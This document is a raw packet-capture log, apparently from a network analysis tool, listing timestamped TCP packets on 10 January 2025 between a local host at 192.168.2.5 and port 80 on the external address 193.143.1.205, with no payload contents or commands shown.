Jan 10, 2025 23:31:01.906738043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.906800985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.906918049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.907217026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907228947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907239914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907289982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907293081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.907305956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907336950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907344103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.907366037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.907403946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.908045053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908108950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908128977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908143997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908153057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.908154964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908169031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908180952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.908193111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.908258915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.909925938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.913835049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.946374893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946388960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946409941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946428061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946438074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946449995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946463108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946475029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946504116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.946523905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946535110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.946595907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987416029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987469912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987483025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987493038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987498999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987529039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987540960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987561941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987571001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987584114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987596035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987620115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987660885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987673998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987684965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987696886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987708092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987720013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987723112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987760067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.987829924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987842083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987854004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.987890005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029320955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029508114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029565096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029582977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029603004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029603004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029633045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029648066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029654026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029665947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029680967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029691935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029697895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029702902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029711962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029722929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029732943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029767036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029773951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029779911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029804945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029809952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029822111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029831886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029859066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029884100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.029943943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.029997110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030006886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030051947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030052900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030067921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030080080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030108929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030121088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030195951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030195951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030195951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030211926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030225992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030270100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030278921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030282974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030322075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030325890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030338049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030349016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030369997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030426025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030440092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030464888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030569077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030615091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030616045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030628920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030639887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030679941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030704975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030716896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030729055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030741930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030755043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030786991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.030953884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030966043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030977964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030988932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.030998945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031002998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031014919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031028032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031028032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031085968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031085968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031119108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031131029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031141043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031153917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031162024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031167030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031179905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031192064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031203985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031203985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031215906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031222105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031236887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031246901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031259060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031270981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.031279087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.031317949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034169912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034182072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034193039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034209013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034221888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034239054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034256935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034269094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034332991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034343958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034354925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034365892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034434080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034434080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034434080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034441948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034455061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034476042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034487963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034498930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034498930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034511089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034538031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034538031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034583092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034780025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034792900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034802914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034842014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034849882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034862041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034873009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034884930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034885883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034919977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.034964085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034975052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.034993887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035005093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035012960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.035017967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035026073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.035029888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035059929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.035219908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035259962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.035260916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035274029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035284996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.035305023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.038233995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.074906111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.074930906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.074942112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.074954033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075017929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075067043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075086117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075105906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075118065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075129032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075143099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075154066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075158119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075165033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075191975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075203896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075212955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075226068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075233936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075264931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075289965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075303078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075321913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075323105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075371981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075378895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075391054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075401068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075414896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.075427055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.075445890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117082119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117106915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117125034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117139101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117151976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117162943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117183924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117194891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117197990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117208958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117221117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117233992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117248058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117250919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117264986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117278099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117304087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117304087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117316961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117331982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117343903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117353916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117367983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117381096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117407084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117446899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117458105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117470026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117480993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117502928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117506027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117517948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117527962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117556095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117567062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117568016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117579937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117592096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117598057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117616892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117629051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117640972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117641926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117675066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117683887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117686033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117697001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117707014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117708921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117750883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117788076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117799997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117809057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117820024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117839098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117842913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117855072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117865086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117882013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117892027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117896080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117908001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117919922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.117921114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.117944956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118001938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118014097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118026972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118036032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118037939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118051052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118072987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118094921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118119001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118129969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118139982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118153095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118164062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118170023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118175983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118195057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118206024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118262053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118274927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118279934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118318081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118324041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118330956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118343115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118355036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118357897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118374109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118541956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118554115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118560076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118572950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118585110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118591070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118597031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118607998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118614912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118626118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118637085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118664980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118664980 CET	49704	80	192.168.2.5	193.143.1.205
